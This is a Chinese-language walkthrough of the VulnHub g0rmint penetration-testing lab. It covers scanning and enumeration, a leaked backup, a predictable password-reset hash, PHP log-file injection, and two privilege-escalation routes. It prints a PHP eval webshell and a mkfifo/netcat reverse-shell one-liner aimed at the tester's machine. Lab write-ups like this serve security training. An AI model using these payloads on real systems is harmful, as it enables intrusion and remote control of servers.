kali滲透綜合靶機(十四)--g0rmint靶機
靶機下載地址:https://www.vulnhub.com/entry/g0rmint-1,214/
一、主機發現
1.netdiscover -i eth0 -r 192.168.10.0/24
二、埠掃描
1. masscan --rate=10000 -p0-65535 192.168.10.173
三、埠服務識別
nmap -sV -T4 -O -p 22,80 192.168.10.173
四、漏洞查詢與利用
1.dirb目錄掃描
2.發現http://192.168.10.173/robots.txt,瀏覽器訪問,發現g0rmint
3.瀏覽器訪問http://192.168.10.173/g0rmint
4.檢視頁面原始碼,發現備份目錄
5.使用dirb 掃描http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/,發現http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
6.訪問http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php
7.下載備份檔案
8.檢視網站程式碼,發現使用者名稱、密碼、郵箱,嘗試登入失敗
線上解密
9.檢視login.php,發現登入失敗的時候會生成一個日誌檔案(呼叫addlog函式)
10.檢視addlog函式,發現日誌寫在.php檔案中,嘗試在登入郵箱處插入php語句,從而任意執行程式碼
11.在登入郵箱處插入php一句話木馬,點選提交,登入失敗跳轉到登入頁面
最後發現是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");寫入了一個session判斷
所以需要先解決登入的問題。
12.檢視reset.php,可以看到只要知道了一個存在的郵箱和使用者名稱,就可以重置密碼為一個時間值的雜湊,嘗試了demo和一些常用郵箱使用者名稱之後,發現似乎並沒有這個使用者
13.在全文搜尋email關鍵字, 可以在一個css檔案中看到使用者的名字和郵箱
14.成功重置後,介面右下角也給出了對應的時間,遂能算出相應的雜湊值,使用線上的hash加密,去加密成功後的hash值前20位最為密碼的值
15. 用郵箱和算出的雜湊值就能登入到後臺中,然後就能成功的訪問到生成的log檔案
16.在登入的時郵箱處插入一條php語句,寫入webshell,<?php @eval($_POST[cmd]);?>然後訪問對應的日誌,提交post引數即可執行任意php程式碼。
17.然後將shell反彈到我的kali中來
在post中輸入:注意需要url編碼
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.168 1234 >/tmp/f;`;
18.在Kali開啟監聽,獲得shell
19.提權
19.1檢視核心版本
19.2kali檢視是否有對應版本的漏洞
19.3在kali編譯好指令碼,然後目標用wget下載,執行,獲得管理員許可權
提權方式二:
1.在/var/www目錄下又發現網站備份檔案,解壓發現db.sql,
2.發現使用者noman以及密碼
線上解密
3.嘗試用noman使用者登入,失敗,發現/etc/passwd中有g0rmint,嘗試用noman的密碼登入,成功登入進去
4.用sudo -l 檢視當前使用者是否屬於sudo組,然後sudo -i 直接獲得管理員許可權
總結:
1、資訊收集、埠掃描、服務識別
2、目錄掃描、發現敏感資訊備份檔案
3、登入密碼的地方暫時突破不了,嘗試在重置密碼的地方尋找突破口、發現有用資訊
4、進行程式碼審計,發現日誌檔案的字尾是php檔案,這時可以嘗試在登入的地方接入一句話,然後就寫入到日誌中。
5、getshell、提權